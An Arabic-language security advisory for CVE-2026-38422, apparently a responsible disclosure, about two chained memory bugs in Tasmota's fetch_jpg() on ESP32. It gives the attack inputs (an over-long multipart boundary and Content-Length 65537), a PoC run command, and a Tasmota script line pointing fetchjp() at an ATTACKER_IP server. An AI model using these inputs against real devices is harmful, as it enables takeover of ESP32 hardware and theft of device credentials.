CVE-2026-38422: تنفيذ كود عن بُعد عبر تجاوزات المخزن المؤقت المجتمعة في Tasmota fetch_jpg()

CVE: CVE-2026-38422
الخطورة: حرجة (CVSS 9.8)
المنتج: Arendst Tasmota
الإصدار المتأثر: <= 15.3.0.3
الملف: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
الدالة: fetch_jpg()
المؤلف: Saidakbarxon Maxsudxonov
الإفصاح: مسؤول — تم الإبلاغ إلى Tasmota قبل النشر

الملخص

تحتوي الدالة fetch_jpg() في برنامج التشغيل النصي لـ Tasmota (xdrv_10_scripter.ino) على ثغرتين متراكمتين لتلف الذاكرة تمكنان معًا من تنفيذ كود عن بُعد على الأجهزة القائمة على ESP32 والتي تعمل بنظام Tasmota <= 15.3.0.3:

1. المرحلة 1 (الحالة 0): تجاوز strcpy() في مخزن ثابت بحجم 40 بايت boundary[] — يفسد ذاكرة الكومة المجاورة بما في ذلك مؤشرات vtable الخاصة بـ WiFiClient/HTTPClient (انظر أيضًا CVE-2026-38426)
2. المرحلة 2 (الحالة 2): التفاف عدد صحيح uint16_t على Content-Length — يخصص مخزنًا أصغر من اللازم مما يتسبب في تلف حالة التدفق (انظر أيضًا CVE-2026-38427)

عند استخدامهما معًا في جلسة هجوم واحدة، تعمل هاتان البدائيتان على تعظيم تلف الكومة وتزيدان بشكل كبير من احتمالية تحقيق تنفيذ برمجي تعسفي.

سلسلة الثغرات

Attacker MJPEG Server
       │
       │ Phase 1: HTTP 200 response with long boundary string
       │   Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ chars)
       │   → strcpy(boundary[40], 50_chars) → OVERFLOW
       │   → WiFiClient vtable ptr partially overwritten
       ▼
  ESP32 Heap Corrupted
       │
       │ Phase 2: MJPEG frame with Content-Length > 65535
       │   Content-Length: 65537
       │   → uint16_t size = 1 (wraparound)
       │   → malloc(1), readBytes(buff, 1)
       │   → 65536 bytes remain in stream → heap/stream corruption
       ▼
  Double Corruption → RCE / Guaranteed DoS

إثبات المفهوم

# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos

خادم إثبات المفهوم:

1. يقبل الاتصال من Tasmota (مشغل fetchjp())
2. المرحلة 1: يرسل استجابة HTTP 200 أولية بسلسلة حدية طولها 80 حرفًا (تجاوز)
3. المرحلة 2: يرسل إطارات MJPEG مع Content-Length: 65537 (التفاف)

راجع CVE-2026-38422_poc.py للتنفيذ الكامل.

التشغيل عبر سكربت Tasmota

>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

يجب أن يكون الجهاز مشغّلًا لسكربت Tasmota يستخدم fetchjp(). يتحكم المهاجم في الخادم الذي يتصل به الجهاز (أو ينفذ هجوم رجل في المنتصف على اتصال قائم).

التأثير

• السرية: عالية — RCE على ESP32، والوصول إلى أسرار/بيانات اعتماد الجهاز
• السلامة: عالية — سيطرة كاملة على الجهاز
• التوفر: عالية — تعطل/حلقة إعادة تشغيل مضمونة
• متجه الهجوم: الشبكة (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
• درجة CVSS: 9.8 حرجة

الأجهزة المتأثرة

أي جهاز Tasmota قائم على ESP32 يعمل بإصدار <= 15.3.0.3 مع تمكين دعم السكريبت وسكربت يستخدم fetchjp() للاتصال بخادم MJPEG خارجي.

الجدول الزمني

• 2026-03-29: تم اكتشاف الثغرتين والإبلاغ عنهما إلى MITRE
• 2026-03-29: تم تعيين CVE-2026-38422
• 2026-05-xx: أصدرت Tasmota التصحيح (v15.3.0.4+)

المراجع

• Tasmota GitHub
• xdrv_10_scripter.ino
• CVE-2026-38422
• ذات صلة: CVE-2026-38426 (تجاوز strcpy)
• ذات صلة: CVE-2026-38427 (التفاف uint16_t)